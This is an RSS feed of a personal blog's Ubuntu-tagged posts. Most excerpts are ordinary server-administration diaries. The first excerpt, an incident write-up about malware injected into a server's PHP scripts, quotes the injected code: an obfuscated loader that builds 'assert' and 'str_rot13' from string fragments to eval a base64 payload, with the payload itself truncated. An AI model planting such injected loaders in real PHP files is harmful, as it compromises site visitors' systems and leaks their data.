<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Ubuntu on</title><link>https://dawning.ca/tags/ubuntu/</link><description>Recent content in Ubuntu on</description><generator>Hugo -- gohugo.io</generator><language>en</language><copyright>Copyright © James Snell</copyright><lastBuildDate>Sun, 13 Nov 2016 14:18:51 +0000</lastBuildDate><atom:link href="https://dawning.ca/tags/ubuntu/index.xml" rel="self" type="application/rss+xml"/><item><title>Battle against injected PHP</title><link>https://dawning.ca/posts/battle-against-injected-php/</link><pubDate>Sun, 13 Nov 2016 14:18:51 +0000</pubDate><guid>https://dawning.ca/posts/battle-against-injected-php/</guid><description>
&lt;p>My main personal web server became infected with some effin malware that was injected it very nearly every single .php script on the server. The injected code was basically:&lt;/p>
&lt;p>//###=CACHE START=###
@error_reporting(E_ALL);
@ini_set(&amp;ldquo;error_log&amp;rdquo;,NULL);
&amp;hellip;etc&lt;/p>
&lt;p>$strings = &amp;ldquo;as&amp;rdquo;; $strings .= &amp;ldquo;se&amp;rdquo;; $strings .= &amp;ldquo;rt&amp;rdquo;; $strings2 = &amp;ldquo;st&amp;rdquo;; $strings2 .= &amp;ldquo;r_r&amp;rdquo;; $strings2 .= &amp;ldquo;ot13&amp;rdquo;; $gbz = &amp;ldquo;riny(&amp;rdquo;.$strings2(&amp;ldquo;base64_decode&amp;rdquo;);
$light = $strings2($gbz.&amp;rsquo;(&amp;ldquo;nJLtX&amp;hellip;.&amp;rdquo;));&amp;rsquo;); $strings($light);
//###=CACHE END=###&lt;/p>
&lt;p>This is kind of beautiful to me, it took me a little while to figure out what it does. In effect it causes basic system info for anyone browsing sites on that server to be sent off to some other php script on another server. At first I altered the server and my network to prevent any traffic from reaching the intended target. Instead I captured the traffic so I could get a look at the volume of it. Here&amp;rsquo;s an example apache log message generated by someone browsing an infected site:&lt;/p></description></item><item><title>Ubuntu 14.04 on Utilite Pro</title><link>https://dawning.ca/posts/ubuntu-14-04-on-utilite-pro/</link><pubDate>Fri, 10 Oct 2014 11:06:06 +0000</pubDate><guid>https://dawning.ca/posts/ubuntu-14-04-on-utilite-pro/</guid><description>
&lt;p>To the chase&amp;hellip; It took me a long time to find this, but someone&amp;rsquo;s made a guide for building Ubuntu 14.04 from scratch for the Utilite. But better still, they&amp;rsquo;ve included a dropbox location to fetch images from.&lt;/p>
&lt;p>Here&amp;rsquo;s the &lt;a href="https://github.com/umiddelb/armhf/wiki/Installing-Ubuntu-14.04-on-the-utilite-computer-from-scatch#download-a-prebuilt-archive-with-kernels-included">URL to the build guide&lt;/a>.&lt;/p>
&lt;p>Here&amp;rsquo;s the &lt;a href="https://www.dropbox.com/sh/1ln93hvod4tki5s/AABMO2SGv8PJ2dTaQRV4DmROa?dl=0">URL to the download directory&lt;/a>.&lt;/p>
&lt;p>For installation, &lt;a href="http://archlinuxarm.org/platforms/armv7/freescale/utilite">I&amp;rsquo;m�ripping-off the Arch installation instructions here&lt;/a>.&lt;/p>
&lt;p>The key step of the installation process I kept pulling up that guide to confirm I&amp;rsquo;m recalling correctly is: &lt;em>bsdtar -xpf ArchLinuxARM-utilite-latest.tar.gz -C root&lt;/em>&lt;/p></description></item><item><title>Dear Diary: Running Trac and upgrading to Ubuntu Server 14.04</title><link>https://dawning.ca/posts/dear-diary-running-trac-and-upgrading-ubuntu-server-14-04/</link><pubDate>Wed, 17 Sep 2014 17:17:20 +0000</pubDate><guid>https://dawning.ca/posts/dear-diary-running-trac-and-upgrading-ubuntu-server-14-04/</guid><description>
&lt;p>I&amp;rsquo;m a fairly heavy user of trac. I&amp;rsquo;ve got various software projects I organize using trac. I decided to upgrade one of my Ubuntu 12.04 servers to Ubuntu 14.04 and of course ran in to the typical apache2 headaches that are born out of this particular transition.&lt;/p>
&lt;p>After remembering to rename my virtual host files with .conf extensions (I find that change annoying as hell on its own), I kept running aground with an Internal Server Error message to which I couldn&amp;rsquo;t even find a hint in my logs, even after cranking up the verbosity.&lt;/p></description></item><item><title>My Diary: Upgrading Alfresco Installations</title><link>https://dawning.ca/posts/my-diary-upgrading-alfresco-installations/</link><pubDate>Fri, 11 Apr 2014 21:12:05 +0000</pubDate><guid>https://dawning.ca/posts/my-diary-upgrading-alfresco-installations/</guid><description>
&lt;p>&lt;a href="https://dawning.ca/uploads/2014/04/Screen-Shot-2014-04-11-at-10.10.58-PM.png">&lt;figure>
&lt;picture>
&lt;img
loading="lazy"
decoding="async"
alt=""
class="image_figure image_internal image_unprocessed"
src="https://dawning.ca/uploads/2014/04/Screen-Shot-2014-04-11-at-10.10.58-PM-274x300.png"
/>
&lt;/picture>
&lt;/figure>
&lt;/a>Here&amp;rsquo;s my diary from the &amp;ldquo;epic&amp;rdquo; experience of simply trying to upgrade Alfresco installations from 4.2.c to 4.2.f. I found the community documentation to be dated and had minimal confidence in its current validity. Still, it helped. These are my final notes on the process and in actuality there were a lot of wrong turns I made along the way before landing with the below. I spent like 5 hours working this out. Crazy.&lt;/p></description></item><item><title>My Diary: on running PHP 5.5+ &amp; Apache 2.4 on Ubuntu 12.04</title><link>https://dawning.ca/posts/my-diary-on-running-php-5-5-apache-2-4-on-ubuntu-12-04/</link><pubDate>Sat, 22 Feb 2014 12:09:51 +0000</pubDate><guid>https://dawning.ca/posts/my-diary-on-running-php-5-5-apache-2-4-on-ubuntu-12-04/</guid><description>
&lt;p>I&amp;rsquo;ve been working on migrating a Moodle 2.4+ installation from a rickety old Ubuntu 10.04 server on Amazon EC2 to a fresh machine as I can&amp;rsquo;t seem to update the original server to 12.04, which has newer PHP packages I require to run Moodle 2.6+, which I want specifically due to a user stats plugin I want installed.. So with one thing leading to another, I ran aground recently when I upgraded Ubuntu&amp;rsquo;s 12.04 Apache2 version to Apache 2.4 (from some PPA). This resulted in my site no longer working, it pretty much just said access denied. This was due to some new Apache security setting that my migrated Virtual Host config lacked.&lt;/p></description></item><item><title>Software > MediaDrop Automatic Transcoding Script</title><link>https://dawning.ca/posts/software-mediadrop-automatic-transcoding-script/</link><pubDate>Fri, 03 Jan 2014 00:54:49 +0000</pubDate><guid>https://dawning.ca/posts/software-mediadrop-automatic-transcoding-script/</guid><description>
&lt;p>I&amp;rsquo;ve been working on a somewhat private personal website intended for sharing of family videos. I&amp;rsquo;ve converted roughly 200hrs of old family video tapes in to media files and am well on my way to having converted the files in to individual scenes/clips. The content is being shared, with family, using an instant of the web application &amp;ldquo;MediaDrop&amp;rdquo;. I love this web application. It&amp;rsquo;s epic. I was just looking for a podcast feed generator and I found a lot more in &lt;a href="http://mediadrop.net/">MediaDrop&lt;/a>.&lt;/p></description></item><item><title>Trac Authenticating Through Active Directory</title><link>https://dawning.ca/posts/trac-auth-via-centrifyad/</link><pubDate>Mon, 26 Sep 2011 10:06:18 +0000</pubDate><guid>https://dawning.ca/posts/trac-auth-via-centrifyad/</guid><description>
&lt;p>A minor post - mostly for my own notes..&lt;/p>
&lt;p>I was setting up an instance of &lt;a href="http://trac.edgewall.org/">Trac&lt;/a> and I wanted &lt;a href="http://en.wikipedia.org/wiki/Active_Directory">Active Directory&lt;/a> authentication going. I&amp;rsquo;ve had this before, but I recently learned of &lt;a href="http://en.wikipedia.org/wiki/Active_Directory#Unix_integration">Centrify&lt;/a> which provides a VERY easy means to setup system authentication with AD. This meant I needed to find a Centrify-specific way to get AD authentication going in Trac.&lt;/p>
&lt;p>I was close to an obvious simple solution for a fair while, but I kept running in to error messages like:&lt;/p></description></item><item><title>Quick Recipe for MediaWiki with AD logins</title><link>https://dawning.ca/posts/quick-recipe-for-mediawiki-with-ad-logins/</link><pubDate>Wed, 02 Feb 2011 13:24:40 +0000</pubDate><guid>https://dawning.ca/posts/quick-recipe-for-mediawiki-with-ad-logins/</guid><description>
&lt;p>&lt;a href="https://dawning.ca/uploads/2011/02/w00t.png">&lt;figure>
&lt;picture>
&lt;img
loading="lazy"
decoding="async"
alt=""
class="image_figure image_internal image_unprocessed"
src="https://dawning.ca/uploads/2011/02/w00t.png"
/>
&lt;/picture>
&lt;/figure>
&lt;/a>Here&amp;rsquo;s a quick recipe for getting a server up with MediaWiki running and having Active Directory Logins working with it&amp;hellip; I&amp;rsquo;ll warn you, there are other ways of doing this. I find this to satisfy my needs, but if you manage to cause the world to implode, I won&amp;rsquo;t be held responsible.&lt;/p>
&lt;p>&lt;strong>Step 1: Set up your server&lt;/strong>&lt;/p>
&lt;p>I created an Ubuntu 10.10 server VM for this, use whatever if you have some sort of issue against doing the same as me.&lt;/p></description></item><item><title>Kobo - Unboxed &amp; Linux Friendly</title><link>https://dawning.ca/posts/kobo-ereader-unboxed-linux/</link><pubDate>Mon, 21 Jun 2010 23:41:46 +0000</pubDate><guid>https://dawning.ca/posts/kobo-ereader-unboxed-linux/</guid><description>
&lt;p>&lt;figure>
&lt;picture>
&lt;img
loading="lazy"
decoding="async"
alt=""
class="image_figure image_internal image_unprocessed"
src="https://dawning.ca/uploads/external/4724079151_4a9942c20c_m_04ab3571.jpg"
/>
&lt;/picture>
&lt;/figure>
I&amp;rsquo;ve recently acquired myself a Kobo eReader. Read on to learn of my initial experiences, thoughts and reactions..&lt;/p>
&lt;h2 id="for-those-who-remain-unaware-of-what-an-ereader-is">For those who remain unaware of what an ereader is&amp;hellip;&lt;/h2>
&lt;p>They are little device designed to replace physical books. The key to success of the major ereaders (of which the ipad is NOT included) is the use of a completely distinct display technology called &lt;a href="http://en.wikipedia.org/wiki/E_Ink">E-Ink&lt;/a>. The important detail about that is that things displayed on E-Ink look just as though they were printed on paper. Compare this to viewing a typical LCD screen (like that of your phone) in the bright sun. The LCD has to overcome the ambient light, which is really tough in the day. The sharp contrast in brightness is similarly tiring for eyes in good lighting. E-Ink is free of that burden.&lt;/p></description></item><item><title>Dawning.ca Spruced Up</title><link>https://dawning.ca/posts/dawning-ca-spruced-up/</link><pubDate>Fri, 15 Jan 2010 03:12:36 +0000</pubDate><guid>https://dawning.ca/posts/dawning-ca-spruced-up/</guid><description>
&lt;figure style="float: right; margin: 0 0 1em 1em; max-width: 272px;">
&lt;img src="https://dawning.ca/uploads/2010/01/OldDawning.png" alt="">
&lt;figcaption>Previous Dawning.ca Layout&lt;/figcaption>
&lt;/figure>
&lt;p>I&amp;rsquo;ve just spent a few hours re-designing the layout of Dawning.ca. The &lt;a href="http://wordpress.org/extend/themes/oriental">old one&lt;/a> served me very well and I really liked it. I had heavily modified the previous theme to work for me and work it did. I may tap it some time in the future as a backup&amp;hellip; As you can see to the right, the new style is fairly different compared to the image. Although I kept the workflow as I think it was already pretty good.&lt;/p></description></item><item><title>YouTube Grabber App</title><link>https://dawning.ca/posts/youtube-grabber-app/</link><pubDate>Tue, 24 Nov 2009 12:06:27 +0000</pubDate><guid>https://dawning.ca/posts/youtube-grabber-app/</guid><description>
&lt;p>I&amp;rsquo;ve whipped up this little YouTube video grabber for myself and I&amp;rsquo;ve opened it up for the moment. If I see it getting spammed or abused in some way, I&amp;rsquo;ll probably password protect it, nevertheless, you can check it out &lt;strong>&lt;a href="https://dawning.ca/youtube/">here&lt;/a>&lt;/strong>.&lt;/p>
&lt;h2 id="what-it-does">&lt;a href="https://dawning.ca/youtube/">&lt;figure>
&lt;picture>
&lt;img
loading="lazy"
decoding="async"
alt=""
class="image_figure image_internal image_unprocessed"
src="https://dawning.ca/uploads/2009/11/ytGrabber.png"
/>
&lt;/picture>
&lt;/figure>
&lt;/a>What it does&lt;/h2>
&lt;p>This little app takes a YouTube video link and then adds the reference in a database. A seperate script then polls that database and looks for new URLs. It then uses another script (that I did not write), called yt-download, to fetch each video and dump it to my fileserver.&lt;/p></description></item><item><title>Upgrade Experience with Ubuntu 9.04</title><link>https://dawning.ca/posts/ubuntu-9_04-upgrade/</link><pubDate>Fri, 24 Apr 2009 09:24:25 +0000</pubDate><guid>https://dawning.ca/posts/ubuntu-9_04-upgrade/</guid><description>
&lt;figure style="float: right; margin: 0 0 1em 1em; max-width: 204px;">
&lt;a href="http://www.ubuntu.com/getubuntu">&lt;img src="http://www.ubuntu.com/themes/ubuntu07/images/masthead-cds.jpg" alt="">&lt;/a>
&lt;figcaption>Ubuntu Logo&lt;/figcaption>
&lt;/figure>
&lt;p>Hello World!&lt;/p>
&lt;p>While, yesterday was Ubuntu 9.04 day! With the latest official release of Ubuntu Linux, I decided to put one foot in the water and give upgrading my mac pro from 8.10 a whirl. The process went fairly perfectly with one major flaw. Upon rebooting my upgraded system, my video driver for xorg was no longer functioning properly. The solution was to remotely login through ssh, download &amp;amp; install the latest driver (from here) and then reboot again. After that I was greeted with the beautiful new Ubuntu 9.04 login screen and the upgrade was nearly..&lt;/p></description></item><item><title>Ubuntu Samba Apache Active Directory Authentication</title><link>https://dawning.ca/posts/ubuntu-samba-apache-active-directory-authentication/</link><pubDate>Wed, 16 Jul 2008 07:16:25 +0000</pubDate><guid>https://dawning.ca/posts/ubuntu-samba-apache-active-directory-authentication/</guid><description>
&lt;p>So I&amp;rsquo;ve spent some time for something at work figuring out how to get an Ubuntu server to authenticate users with a Windows 2003 Server Active Directory. Using the process I&amp;rsquo;ve found by combining various sources, my instructions show how to get a machine setup such that users logging in to the shell, accessing a samba share and checking out a website (or sub-directory of one) can all be authenticated using credentials centrally stored in a separate Active Directory server.&lt;/p></description></item></channel></rss>